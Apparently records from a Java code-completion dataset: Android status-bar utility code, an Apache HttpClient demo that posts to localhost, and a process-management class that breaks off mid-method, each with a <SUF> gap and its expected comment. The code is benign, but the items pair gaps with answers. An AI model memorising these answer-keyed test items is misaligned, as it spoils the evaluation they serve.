-statusBarHeight; rootView.setLayoutParams(lp); } setTranslucentView(decorView, alpha); } /** * 设置状态栏darkMode,字体颜色及icon变黑(目前支持MIUI6以上,Flyme4以上,Android M以上) */ public static void setStatusBarDarkMode(Activity activity) { setStatusBarDarkMode(activity.getWindow()); } /** * 设置状态栏darkMode,字体颜色及icon变黑(目前支持MIUI6以上,Flyme4以上,Android M以上) */ public static void setStatusBarDarkMode(Window window) { if (isFlyme4Later()) { setStatusBarDarkModeForFlyme4(window, true); } else if (isMIUI6Later()) { setStatusBarDarkModeForMIUI6(window, true); } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { setStatusBarDarkModeForM(window); } } //-------------------------> /** * android 6.0设置字体颜色 */ @TargetApi(Build.VERSION_CODES.M) public static void setStatusBarDarkModeForM(Window window) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); int systemUiVisibility = window.getDecorView().getSystemUiVisibility(); systemUiVisibility |= View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR; window.getDecorView().setSystemUiVisibility(systemUiVisibility); } /** * 设置Flyme4+的darkMode,darkMode时候字体颜色及icon变黑 * http://open-wiki.flyme.cn/index.php?title=Flyme%E7%B3%BB%E7%BB%9FAPI */ public static boolean setStatusBarDarkModeForFlyme4(Window window, boolean dark) { boolean result = false; if (window != null) { try { WindowManager.LayoutParams e = window.getAttributes(); Field darkFlag = WindowManager.LayoutParams.class.getDeclaredField( "MEIZU_FLAG_DARK_STATUS_BAR_ICON"); Field meizuFlags = WindowManager.LayoutParams.class.getDeclaredField("meizuFlags"); darkFlag.setAccessible(true); meizuFlags.setAccessible(true); int bit = darkFlag.getInt(null); int value = meizuFlags.getInt(e); if (dark) { value |= bit; } else { value &= ~bit; } meizuFlags.setInt(e, value); window.setAttributes(e); result = true; } catch (Exception var8) { Log.e("StatusBar", "setStatusBarDarkIcon: failed"); } } return result; } /** * 设置MIUI6+的状态栏是否为darkMode,darkMode时候字体颜色及icon变黑 * http://dev.xiaomi.com/doc/p=4769/ */ public static void setStatusBarDarkModeForMIUI6(Window window, boolean darkmode) { Class<? extends Window> clazz = window.getClass(); try { int darkModeFlag = 0; Class<?> layoutParams = Class.forName("android.view.MiuiWindowManager$LayoutParams"); Field field = layoutParams.getField("EXTRA_FLAG_STATUS_BAR_DARK_MODE"); darkModeFlag = field.getInt(layoutParams); Method extraFlagField = clazz.getMethod("setExtraFlags", int.class, int.class); extraFlagField.invoke(window, darkmode ? darkModeFlag : 0, darkModeFlag); } catch (Exception e) { e.printStackTrace(); } } /** * 创建假的状态栏View */ private static void setStatusBar(ViewGroup container, @ColorInt int statusBarColor, boolean visible, boolean addToFirst) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { View statusBarView = container.findViewById(R.id.statusbar_view); if (statusBarView == null) { statusBarView = new View(container.getContext()); statusBarView.setId(R.id.statusbar_view); ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams( ViewGroup.LayoutParams.MATCH_PARENT, getStatusBarHeight(container.getContext())); if (addToFirst) { container.addView(statusBarView, 0, lp); } else { container.addView(statusBarView, lp); } } statusBarView.setBackgroundColor(statusBarColor); statusBarView.setVisibility(visible ? View.VISIBLE : View.GONE); } } /** * 创建假的状态栏View */ private static void setStatusBar(ViewGroup container, @ColorInt int statusBarColor, boolean visible) { setStatusBar(container, statusBarColor, visible, false); } /** * 创建假的透明栏 */ private static void setTranslucentView(ViewGroup container, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { View translucentView = container.findViewById(R.id.translucent_view); if (translucentView == null) { translucentView = new View(container.getContext()); translucentView.setId(R.id.translucent_view); ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams( ViewGroup.LayoutParams.MATCH_PARENT, getStatusBarHeight(container.getContext())); container.addView(translucentView, lp); } translucentView.setBackgroundColor(Color.argb((int) (alpha * 255), 0, 0, 0)); } } /** * 获取状态栏高度 */ public static int getStatusBarHeight(Context context) { int result = 0; int resId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); if (resId > 0) { result = context.getResources().getDimensionPixelSize(resId); } return result; } /** * 判断是否Flyme4以上 */ public static boolean isFlyme4Later() { return Build.FINGERPRINT.contains("Flyme_OS_4") || Build.VERSION.INCREMENTAL.contains("Flyme_OS_4") || Pattern.compile("Flyme OS [4|5]", Pattern.CASE_INSENSITIVE).matcher(Build.DISPLAY).find(); } /** * 判断是否为MIUI6以上 */ public static boolean isMIUI6Later() { try { Class<?> clz = Class.forName("android.os.SystemProperties"); Method mtd = clz.getMethod("get", String.class); String val = (String) mtd.invoke(null, "ro.miui.ui.version.name"); val = val.replaceAll("[vV]", ""); int version = Integer.parseInt(val); return version >= 6; } catch (Exception e) { return false; } } /** * 增加View的高度以及paddingTop,增加的值为状态栏高度.一般是在沉浸式全屏给ToolBar用的 */ public static void setHeightAndPadding(Context context, View view) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { ViewGroup.LayoutParams lp = view.getLayoutParams(); lp.height += getStatusBarHeight(context);//增高 view.setPadding(view.getPaddingLeft(), view.getPaddingTop() + getStatusBarHeight(context), view.getPaddingRight(), view.getPaddingBottom()); } } /** * 增加View的paddingTop,增加的值为状态栏高度 */ public static void setPadding(Context context, View view) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { view.setPadding(view.getPaddingLeft(), view.getPaddingTop() + getStatusBarHeight(context), view.getPaddingRight(), view.getPaddingBottom()); } } /** * 强制rootView下面的子View的FitsSystemWindows为false */ public static void forceFitsSystemWindows(Activity activity) { forceFitsSystemWindows(activity.getWindow()); } /** * 强制rootView下面的子View的FitsSystemWindows为false */ public static void forceFitsSystemWindows(Window window) { forceFitsSystemWindows( (ViewGroup) window.getDecorView().findViewById(Window.ID_ANDROID_CONTENT)); } /** * 强制rootView下面的子View的FitsSystemWindows为false */ public static void forceFitsSystemWindows(ViewGroup viewGroup) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { int count = viewGroup.getChildCount(); for (int i = 0; i < count; i++) { View view = viewGroup.getChildAt(i); if (view instanceof ViewGroup) { forceFitsSystemWindows((ViewGroup) view); } else { if (ViewCompat.getFitsSystemWindows(view)) { ViewCompat.setFitsSystemWindows(view, false); } } } } } }
EspoirX/AppLock
app/src/main/java/com/lzx/lock/utils/SystemBarHelper.java
4,708
/** * 创建假的透明栏 */
block_comment
zh-cn
package com.lzx.lock.utils; import android.annotation.TargetApi; import android.app.Activity; import android.content.Context; import android.graphics.Color; import android.os.Build; import android.support.annotation.ColorInt; import android.support.annotation.FloatRange; import android.support.v4.view.ViewCompat; import android.support.v4.widget.DrawerLayout; import android.util.Log; import android.view.View; import android.view.ViewGroup; import android.view.Window; import android.view.WindowManager; import android.widget.FrameLayout; import com.lzx.lock.R; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.regex.Pattern; /** * 状态栏工具类 * 状态栏两种模式(Android 4.4以上) * 1.沉浸式全屏模式 * 2.状态栏着色模式 */ public class SystemBarHelper { private static float DEFAULT_ALPHA = Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP ? 0.2f : 0.3f; /** * Android4.4以上的状态栏着色 * * @param activity Activity对象 * @param statusBarColor 状态栏颜色 */ public static void tintStatusBar(Activity activity, @ColorInt int statusBarColor) { tintStatusBar(activity, statusBarColor, DEFAULT_ALPHA); } /** * Android4.4以上的状态栏着色 * * @param activity Activity对象 * @param statusBarColor 状态栏颜色 * @param alpha 透明栏透明度[0.0-1.0] */ public static void tintStatusBar(Activity activity, @ColorInt int statusBarColor, @FloatRange(from = 0.0, to = 1.0) float alpha) { tintStatusBar(activity.getWindow(), statusBarColor, alpha); } /** * Android4.4以上的状态栏着色 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment * @param statusBarColor 状态栏颜色 */ public static void tintStatusBar(Window window, @ColorInt int statusBarColor) { tintStatusBar(window, statusBarColor, DEFAULT_ALPHA); } /** * Android4.4以上的状态栏着色 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment * @param statusBarColor 状态栏颜色 * @param alpha 透明栏透明度[0.0-1.0] */ public static void tintStatusBar(Window window, @ColorInt int statusBarColor, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) { return; } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); } else { window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); } ViewGroup decorView = (ViewGroup) window.getDecorView(); ViewGroup contentView = (ViewGroup) window.getDecorView() .findViewById(Window.ID_ANDROID_CONTENT); View rootView = contentView.getChildAt(0); if (rootView != null) { ViewCompat.setFitsSystemWindows(rootView, true); } setStatusBar(decorView, statusBarColor, true); setTranslucentView(decorView, alpha); } /** * Android4.4以上的状态栏着色(针对于DrawerLayout) * 注: * 1.如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性,尤其是DrawerLayout的fitsSystemWindows属性 * 2.可以版本判断在5.0以上不调用该方法,使用系统自带 * * @param activity Activity对象 * @param drawerLayout DrawerLayout对象 * @param statusBarColor 状态栏颜色 */ public static void tintStatusBarForDrawer(Activity activity, DrawerLayout drawerLayout, @ColorInt int statusBarColor) { tintStatusBarForDrawer(activity, drawerLayout, statusBarColor, DEFAULT_ALPHA); } /** * Android4.4以上的状态栏着色(针对于DrawerLayout) * 注: * 1.如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性,尤其是DrawerLayout的fitsSystemWindows属性 * 2.可以版本判断在5.0以上不调用该方法,使用系统自带 * * @param activity Activity对象 * @param drawerLayout DrawerLayout对象 * @param statusBarColor 状态栏颜色 * @param alpha 透明栏透明度[0.0-1.0] */ public static void tintStatusBarForDrawer(Activity activity, DrawerLayout drawerLayout, @ColorInt int statusBarColor, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) { return; } Window window = activity.getWindow(); ViewGroup decorView = (ViewGroup) window.getDecorView(); ViewGroup drawContent = (ViewGroup) drawerLayout.getChildAt(0); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); drawerLayout.setStatusBarBackgroundColor(statusBarColor); int systemUiVisibility = window.getDecorView().getSystemUiVisibility(); systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_STABLE; window.getDecorView().setSystemUiVisibility(systemUiVisibility); } else { window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); } setStatusBar(decorView, statusBarColor, true, true); setTranslucentView(decorView, alpha); drawerLayout.setFitsSystemWindows(false); drawContent.setFitsSystemWindows(true); ViewGroup drawer = (ViewGroup) drawerLayout.getChildAt(1); drawer.setFitsSystemWindows(false); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param activity Activity对象 */ public static void immersiveStatusBar(Activity activity) { immersiveStatusBar(activity, DEFAULT_ALPHA); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param activity Activity对象 * @param alpha 透明栏透明度[0.0-1.0] */ public static void immersiveStatusBar(Activity activity, @FloatRange(from = 0.0, to = 1.0) float alpha) { immersiveStatusBar(activity.getWindow(), alpha); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment */ public static void immersiveStatusBar(Window window) { immersiveStatusBar(window, DEFAULT_ALPHA); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment * @param alpha 透明栏透明度[0.0-1.0] */ public static void immersiveStatusBar(Window window, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) { return; } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); int systemUiVisibility = window.getDecorView().getSystemUiVisibility(); systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_STABLE; window.getDecorView().setSystemUiVisibility(systemUiVisibility); } else { window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); } ViewGroup decorView = (ViewGroup) window.getDecorView(); ViewGroup contentView = (ViewGroup) window.getDecorView() .findViewById(Window.ID_ANDROID_CONTENT); View rootView = contentView.getChildAt(0); int statusBarHeight = getStatusBarHeight(window.getContext()); if (rootView != null) { FrameLayout.LayoutParams lp = (FrameLayout.LayoutParams) rootView.getLayoutParams(); ViewCompat.setFitsSystemWindows(rootView, true); lp.topMargin = -statusBarHeight; rootView.setLayoutParams(lp); } setTranslucentView(decorView, alpha); } /** * 设置状态栏darkMode,字体颜色及icon变黑(目前支持MIUI6以上,Flyme4以上,Android M以上) */ public static void setStatusBarDarkMode(Activity activity) { setStatusBarDarkMode(activity.getWindow()); } /** * 设置状态栏darkMode,字体颜色及icon变黑(目前支持MIUI6以上,Flyme4以上,Android M以上) */ public static void setStatusBarDarkMode(Window window) { if (isFlyme4Later()) { setStatusBarDarkModeForFlyme4(window, true); } else if (isMIUI6Later()) { setStatusBarDarkModeForMIUI6(window, true); } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { setStatusBarDarkModeForM(window); } } //-------------------------> /** * android 6.0设置字体颜色 */ @TargetApi(Build.VERSION_CODES.M) public static void setStatusBarDarkModeForM(Window window) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); int systemUiVisibility = window.getDecorView().getSystemUiVisibility(); systemUiVisibility |= View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR; window.getDecorView().setSystemUiVisibility(systemUiVisibility); } /** * 设置Flyme4+的darkMode,darkMode时候字体颜色及icon变黑 * http://open-wiki.flyme.cn/index.php?title=Flyme%E7%B3%BB%E7%BB%9FAPI */ public static boolean setStatusBarDarkModeForFlyme4(Window window, boolean dark) { boolean result = false; if (window != null) { try { WindowManager.LayoutParams e = window.getAttributes(); Field darkFlag = WindowManager.LayoutParams.class.getDeclaredField( "MEIZU_FLAG_DARK_STATUS_BAR_ICON"); Field meizuFlags = WindowManager.LayoutParams.class.getDeclaredField("meizuFlags"); darkFlag.setAccessible(true); meizuFlags.setAccessible(true); int bit = darkFlag.getInt(null); int value = meizuFlags.getInt(e); if (dark) { value |= bit; } else { value &= ~bit; } meizuFlags.setInt(e, value); window.setAttributes(e); result = true; } catch (Exception var8) { Log.e("StatusBar", "setStatusBarDarkIcon: failed"); } } return result; } /** * 设置MIUI6+的状态栏是否为darkMode,darkMode时候字体颜色及icon变黑 * http://dev.xiaomi.com/doc/p=4769/ */ public static void setStatusBarDarkModeForMIUI6(Window window, boolean darkmode) { Class<? extends Window> clazz = window.getClass(); try { int darkModeFlag = 0; Class<?> layoutParams = Class.forName("android.view.MiuiWindowManager$LayoutParams"); Field field = layoutParams.getField("EXTRA_FLAG_STATUS_BAR_DARK_MODE"); darkModeFlag = field.getInt(layoutParams); Method extraFlagField = clazz.getMethod("setExtraFlags", int.class, int.class); extraFlagField.invoke(window, darkmode ? darkModeFlag : 0, darkModeFlag); } catch (Exception e) { e.printStackTrace(); } } /** * 创建假的状态栏View */ private static void setStatusBar(ViewGroup container, @ColorInt int statusBarColor, boolean visible, boolean addToFirst) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { View statusBarView = container.findViewById(R.id.statusbar_view); if (statusBarView == null) { statusBarView = new View(container.getContext()); statusBarView.setId(R.id.statusbar_view); ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams( ViewGroup.LayoutParams.MATCH_PARENT, getStatusBarHeight(container.getContext())); if (addToFirst) { container.addView(statusBarView, 0, lp); } else { container.addView(statusBarView, lp); } } statusBarView.setBackgroundColor(statusBarColor); statusBarView.setVisibility(visible ? View.VISIBLE : View.GONE); } } /** * 创建假的状态栏View */ private static void setStatusBar(ViewGroup container, @ColorInt int statusBarColor, boolean visible) { setStatusBar(container, statusBarColor, visible, false); } /** * 创建假 <SUF>*/ private static void setTranslucentView(ViewGroup container, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { View translucentView = container.findViewById(R.id.translucent_view); if (translucentView == null) { translucentView = new View(container.getContext()); translucentView.setId(R.id.translucent_view); ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams( ViewGroup.LayoutParams.MATCH_PARENT, getStatusBarHeight(container.getContext())); container.addView(translucentView, lp); } translucentView.setBackgroundColor(Color.argb((int) (alpha * 255), 0, 0, 0)); } } /** * 获取状态栏高度 */ public static int getStatusBarHeight(Context context) { int result = 0; int resId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); if (resId > 0) { result = context.getResources().getDimensionPixelSize(resId); } return result; } /** * 判断是否Flyme4以上 */ public static boolean isFlyme4Later() { return Build.FINGERPRINT.contains("Flyme_OS_4") || Build.VERSION.INCREMENTAL.contains("Flyme_OS_4") || Pattern.compile("Flyme OS [4|5]", Pattern.CASE_INSENSITIVE).matcher(Build.DISPLAY).find(); } /** * 判断是否为MIUI6以上 */ public static boolean isMIUI6Later() { try { Class<?> clz = Class.forName("android.os.SystemProperties"); Method mtd = clz.getMethod("get", String.class); String val = (String) mtd.invoke(null, "ro.miui.ui.version.name"); val = val.replaceAll("[vV]", ""); int version = Integer.parseInt(val); return version >= 6; } catch (Exception e) { return false; } } /** * 增加View的高度以及paddingTop,增加的值为状态栏高度.一般是在沉浸式全屏给ToolBar用的 */ public static void setHeightAndPadding(Context context, View view) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { ViewGroup.LayoutParams lp = view.getLayoutParams(); lp.height += getStatusBarHeight(context);//增高 view.setPadding(view.getPaddingLeft(), view.getPaddingTop() + getStatusBarHeight(context), view.getPaddingRight(), view.getPaddingBottom()); } } /** * 增加View的paddingTop,增加的值为状态栏高度 */ public static void setPadding(Context context, View view) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { view.setPadding(view.getPaddingLeft(), view.getPaddingTop() + getStatusBarHeight(context), view.getPaddingRight(), view.getPaddingBottom()); } } /** * 强制rootView下面的子View的FitsSystemWindows为false */ public static void forceFitsSystemWindows(Activity activity) { forceFitsSystemWindows(activity.getWindow()); } /** * 强制rootView下面的子View的FitsSystemWindows为false */ public static void forceFitsSystemWindows(Window window) { forceFitsSystemWindows( (ViewGroup) window.getDecorView().findViewById(Window.ID_ANDROID_CONTENT)); } /** * 强制rootView下面的子View的FitsSystemWindows为false */ public static void forceFitsSystemWindows(ViewGroup viewGroup) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { int count = viewGroup.getChildCount(); for (int i = 0; i < count; i++) { View view = viewGroup.getChildAt(i); if (view instanceof ViewGroup) { forceFitsSystemWindows((ViewGroup) view); } else { if (ViewCompat.getFitsSystemWindows(view)) { ViewCompat.setFitsSystemWindows(view, false); } } } } } }
1
61598_4
/** * 创建时间:2016-2-23 */ package cn.aofeng.demo.httpclient; import java.io.File; import java.io.IOException; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.List; import org.apache.http.Header; import org.apache.http.HttpEntity; import org.apache.http.NameValuePair; import org.apache.http.StatusLine; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.ContentType; import org.apache.http.entity.FileEntity; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; import org.apache.log4j.Logger; /** * HttpClient的基本操作。 * * @author <a href="mailto:aofengblog@163.com">聂勇</a> */ public class HttpClientBasic { private static Logger _logger = Logger.getLogger(HttpClientBasic.class); private static String _targetHost = "http://127.0.0.1:8888"; private static String _charset = "utf-8"; public void get() throws URISyntaxException, ClientProtocolException, IOException { CloseableHttpClient client = HttpClients.createDefault(); HttpGet get = new HttpGet(_targetHost+"/get"); CloseableHttpResponse response = client.execute(get); processResponse(response); } public void post() throws ClientProtocolException, IOException { List<NameValuePair> params = new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("chinese", "中文")); params.add(new BasicNameValuePair("english", "英文")); UrlEncodedFormEntity entity = new UrlEncodedFormEntity(params, _charset); CloseableHttpClient client = HttpClients.createDefault(); HttpPost post = new HttpPost(_targetHost+"/post"); post.addHeader("Cookie", "character=abcdefghijklmnopqrstuvwxyz; sign=abc-123-jkl-098"); post.setEntity(entity); CloseableHttpResponse response = client.execute(post); processResponse(response); } public void sendFile(String filePath) throws UnsupportedOperationException, IOException { CloseableHttpClient client = HttpClients.createDefault(); HttpPost post = new HttpPost(_targetHost+"/file"); File file = new File(filePath); FileEntity entity = new FileEntity(file, ContentType.create(ContentType.TEXT_PLAIN.getMimeType(), _charset)); post.setEntity(entity); CloseableHttpResponse response = client.execute(post); processResponse(response); } private void processResponse(CloseableHttpResponse response) throws UnsupportedOperationException, IOException { try { // 获取响应头 Header[] headers = response.getAllHeaders(); for (Header header : headers) { _logger.info(header.getName() + ":" + header.getValue()); } // 获取状态信息 StatusLine sl =response.getStatusLine(); _logger.info( String.format("ProtocolVersion:%s, StatusCode:%d, Desc:%s", sl.getProtocolVersion().toString(), sl.getStatusCode(), sl.getReasonPhrase()) ); // 获取响应内容 HttpEntity entity = response.getEntity(); _logger.info( String.format("ContentType:%s, Length:%d, Encoding:%s", null == entity.getContentType() ? "" : entity.getContentType().getValue(), entity.getContentLength(), null == entity.getContentEncoding() ? "" : entity.getContentEncoding().getValue()) ); _logger.info(EntityUtils.toString(entity, _charset)); // _logger.info( IOUtils.toString(entity.getContent(), _charset) ); // 大部分情况下效果与上行语句等同,但实现上的编码处理不同 } finally { response.close(); } } /** * @param args */ public static void main(String[] args) throws Exception { HttpClientBasic basic = new HttpClientBasic(); // basic.get(); // basic.post(); basic.sendFile("/devdata/projects/open_source/mine/JavaTutorial/LICENSE"); } }
Estom/notes
Java/Java源代码/codedemo/httpclient/HttpClientBasic.java
1,046
// 获取状态信息
line_comment
zh-cn
/** * 创建时间:2016-2-23 */ package cn.aofeng.demo.httpclient; import java.io.File; import java.io.IOException; import java.net.URISyntaxException; import java.util.ArrayList; import java.util.List; import org.apache.http.Header; import org.apache.http.HttpEntity; import org.apache.http.NameValuePair; import org.apache.http.StatusLine; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.ContentType; import org.apache.http.entity.FileEntity; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.apache.http.message.BasicNameValuePair; import org.apache.http.util.EntityUtils; import org.apache.log4j.Logger; /** * HttpClient的基本操作。 * * @author <a href="mailto:aofengblog@163.com">聂勇</a> */ public class HttpClientBasic { private static Logger _logger = Logger.getLogger(HttpClientBasic.class); private static String _targetHost = "http://127.0.0.1:8888"; private static String _charset = "utf-8"; public void get() throws URISyntaxException, ClientProtocolException, IOException { CloseableHttpClient client = HttpClients.createDefault(); HttpGet get = new HttpGet(_targetHost+"/get"); CloseableHttpResponse response = client.execute(get); processResponse(response); } public void post() throws ClientProtocolException, IOException { List<NameValuePair> params = new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("chinese", "中文")); params.add(new BasicNameValuePair("english", "英文")); UrlEncodedFormEntity entity = new UrlEncodedFormEntity(params, _charset); CloseableHttpClient client = HttpClients.createDefault(); HttpPost post = new HttpPost(_targetHost+"/post"); post.addHeader("Cookie", "character=abcdefghijklmnopqrstuvwxyz; sign=abc-123-jkl-098"); post.setEntity(entity); CloseableHttpResponse response = client.execute(post); processResponse(response); } public void sendFile(String filePath) throws UnsupportedOperationException, IOException { CloseableHttpClient client = HttpClients.createDefault(); HttpPost post = new HttpPost(_targetHost+"/file"); File file = new File(filePath); FileEntity entity = new FileEntity(file, ContentType.create(ContentType.TEXT_PLAIN.getMimeType(), _charset)); post.setEntity(entity); CloseableHttpResponse response = client.execute(post); processResponse(response); } private void processResponse(CloseableHttpResponse response) throws UnsupportedOperationException, IOException { try { // 获取响应头 Header[] headers = response.getAllHeaders(); for (Header header : headers) { _logger.info(header.getName() + ":" + header.getValue()); } // 获取 <SUF> StatusLine sl =response.getStatusLine(); _logger.info( String.format("ProtocolVersion:%s, StatusCode:%d, Desc:%s", sl.getProtocolVersion().toString(), sl.getStatusCode(), sl.getReasonPhrase()) ); // 获取响应内容 HttpEntity entity = response.getEntity(); _logger.info( String.format("ContentType:%s, Length:%d, Encoding:%s", null == entity.getContentType() ? "" : entity.getContentType().getValue(), entity.getContentLength(), null == entity.getContentEncoding() ? "" : entity.getContentEncoding().getValue()) ); _logger.info(EntityUtils.toString(entity, _charset)); // _logger.info( IOUtils.toString(entity.getContent(), _charset) ); // 大部分情况下效果与上行语句等同,但实现上的编码处理不同 } finally { response.close(); } } /** * @param args */ public static void main(String[] args) throws Exception { HttpClientBasic basic = new HttpClientBasic(); // basic.get(); // basic.post(); basic.sendFile("/devdata/projects/open_source/mine/JavaTutorial/LICENSE"); } }
0
26322_40
import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.atomic.AtomicInteger; /** * PCB(进程管理块)类,用于进程的管理 */ public class PCB { private static final PCB pcb = new PCB();// 单例设计模式-饿汉式 private static final Queue readyQueue = Queue.getReadyQueue(); //生成就绪队列 public static PCB getPCB() { return pcb; } private static Map<String, Process> existProcesses;// 所有存活的进程,包括Running(运行状态),Blocked(阻塞状态),Ready(就绪状态) private Process currentProcess;// 当前占用CPU的进程 private AtomicInteger pidGenerator;// pid生成器,用以生成唯一的pid private PCB() { existProcesses = new HashMap<>(); pidGenerator = new AtomicInteger(); } public Process getCurrentProcess() { return currentProcess; } public void setCurrentProcess(Process currentProcess) { this.currentProcess = currentProcess; } // 生成PID号(以自增方式生成保证不重复) public int generatePID() { return pidGenerator.getAndIncrement(); } // 每个进程一经创建,便会调用该方法,将其放在ExistList中 public void addExistList(Process process) { existProcesses.put(process.getProcessName(), process); } // 创建新进程 public Process createProcess(String processName, int priority) { Process currentProcess = pcb.getCurrentProcess(); // 为新建进程分配PID,进程名,优先级,进程状态,资源,父进程和子进程信息等 Process process = new Process(pcb.generatePID(), processName, priority, Process.State.NEW, new ConcurrentHashMap<>(), currentProcess, new LinkedList<>()); if (currentProcess != null) { // 排除创建的进程为第一个进程的特殊情况 currentProcess.getChildren().add(process);// 新创建进程作为当前进程的子进程 process.setParent(currentProcess); // 旧进程作为新创建进程的父进程 } pcb.addExistList(process); // 将新创建的进程放在ExistList中 readyQueue.addProcess(process);// 将新创建的进程放入就绪队列中 process.setState(Process.State.READY); // 成功进入就绪队列的进程,其状态将置为就绪状态 PCB.scheduler(); // 调度 return process; } // 主要用于判断用户输入的进程名称是否合法,因为name对用户来说是进程唯一标识 public static boolean exsitName(String name) { return existProcesses.containsKey(name); } // 通过进程名称在existList里面找到进程,返回对进程的引用。若无,则返回null public Process findProcess(String processName) { for (Map.Entry<String, Process> entry : existProcesses.entrySet()) { String name = entry.getKey(); if (processName.equals(name)) { return entry.getValue(); } } return null; } // 进程调度 public static void scheduler() { Process currentProcess = pcb.getCurrentProcess(); 